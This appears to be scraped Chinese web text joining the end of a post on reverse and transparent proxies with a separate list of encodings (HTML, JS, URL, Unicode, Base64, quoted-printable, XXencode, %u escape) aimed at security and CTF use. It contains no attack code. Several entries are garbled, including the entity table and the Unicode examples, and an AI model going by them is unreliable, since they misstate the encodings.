反向代理结论与正向代理正好相反,对于客户端而言它就像是原始服务器,并且客户端不需要进行任何特别的设置。客户端向反向代理的命名空间(name-space)中的内容发送普通请求,接着反向代理将判断向何处(原始服务器)转交请求,并将获得的内容返回给客户端,就像这些内容原本就是它自己的一样。 基本上,网上做正反向代理的程序很多,能做正向代理的软件大部分也可以做反向代理。开源软件中最流行的就是squid,既可以做正向代理,也有很多人用来做反向代理的前端服务器。另外MS ISA也可以用来在WINDOWS平台下做正向代理。反向代理中最主要的实践就是WEB服务,近些年来最火的就是Nginx了。网上有人说NGINX不能做正向代理,其实是不对的。NGINX也可以做正向代理,不过用的人比较少了。   三、透明代理 如果把正向代理、反向代理和透明代理按照人类血缘关系来划分的话。那么正向代理和透明代理是很明显堂亲关系,而正向代理和反向代理就是表亲关系了 。 透明代理的意思是客户端根本不需要知道有代理服务器的存在,它改编你的request fields(报文),并会传送真实IP。注意,加密的透明代理则是属于匿名代理,意思是不用设置使用代理了。 透明代理实践的例子就是时下很多公司使用的行为管理软件。如下图3.1 (图3.1) 用户A和用户B并不知道行为管理设备充当透明代理行为,当用户A或用户B向服务器A或服务器B提交请求的时候,透明代理设备根据自身策略拦截并修改用户A或B的报文,并作为实际的请求方,向服务器A或B发送请求,当接收信息回传,透明代理再根据自身的设置把允许的报文发回至用户A或B,如上图,如果透明代理设置不允许访问服务器B,那么用户A或者用户B就不会得到服务器B的数据。

常见编码方式整理(持续更新)

1. html编码 空格 < 小于号 < < > 大于号 > > & 和号 & & “ 引号 “ “ ‘ 撇号 ‘ (IE不支持) ‘ ¢ 分(cent) ¢ ¢ £ 镑(pound) £ £ ¥ 元(yen) ¥ ¥ € 欧元(euro) € € § 小节 § § © 版权(copyright) © © ® 注册商标 ® ® ™ 商标 ™ ™ × 乘号 × × ÷ 除号 ÷ ÷ ———————————————- 2. JS编码 JavascriptEncode可以采用跟HtmlEncode不同的编码方式,即使用“\”对特殊字符进行转义。也可以转换成对应的字符编码。js提供了四种字符编码的策略: 1、三个八进制数字,如果不够个数,前面补0,例如“e”编码为“\145” 2、两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\x65” 3、四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\u0065” 4、对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r) ——————————————— 3. Url编码 又叫百分号编码,是统一资源定位(URL)编码方式 如:%54%68%65%20%71%75%69%63%6b%20%62%72 ————————————— 4. Unicode编码 [Hex]: The &# [Decimal]: The \U [Hex]: \U0054\U0068\U0065 \U+ [Hex]: \U+0054\U+0068\U+0065 ———————————————————- 5. ASCII编码 ASCII编码大致可以分作三部分组成: 第一部分是:ASCII非打印控制字符 第二部分是:ASCII打印字符,也就是CTF中常用到的转换; 第三部分是:扩展ASCII打印字符 ————————————————— 6.Base64/32/16编码 ———————————————————- 7.shellcode编码 如:\x54\x68\x65\x7f\x71\x75\x69\x63\x6b\x7f\x62\x72\ ———————————————————– 8.Quoted-printable 编码 它是多用途互联网邮件扩展(MIME) 一种实现方式。有时候我们可以邮件头里面能够看到这样的编码 如:=E6=95=8F=E6=8D=B7=E7=9A=84=E6=A3=95=E8=89=B2=E7=8B=90=E7=8B=B8=E8=B7=B3=E8 ———————————————— 9.XXencode编码: XXencode将输入文本以每三个字节为单位进行编码。如果最后剩下的资料少于三个字节,不够的部份用零补齐。 它所选择的可打印字符是:+- ———————————————- 11.Escape/Unescape编码: 又叫%u编码,采用UTF-16BE模式, Escape编码/加密,就是字符对应UTF-16 16进制表示方式前面加%u。Unescape解码/解密,就是去掉”%u”后,将16进制字符还原后,由utf-16转码到自己目标字符。如:字符 “中”,UTF-16BE是:“6d93”,因此Escape是“%u6d93”。 如:%u0054%u0068%u0065 ———————————————–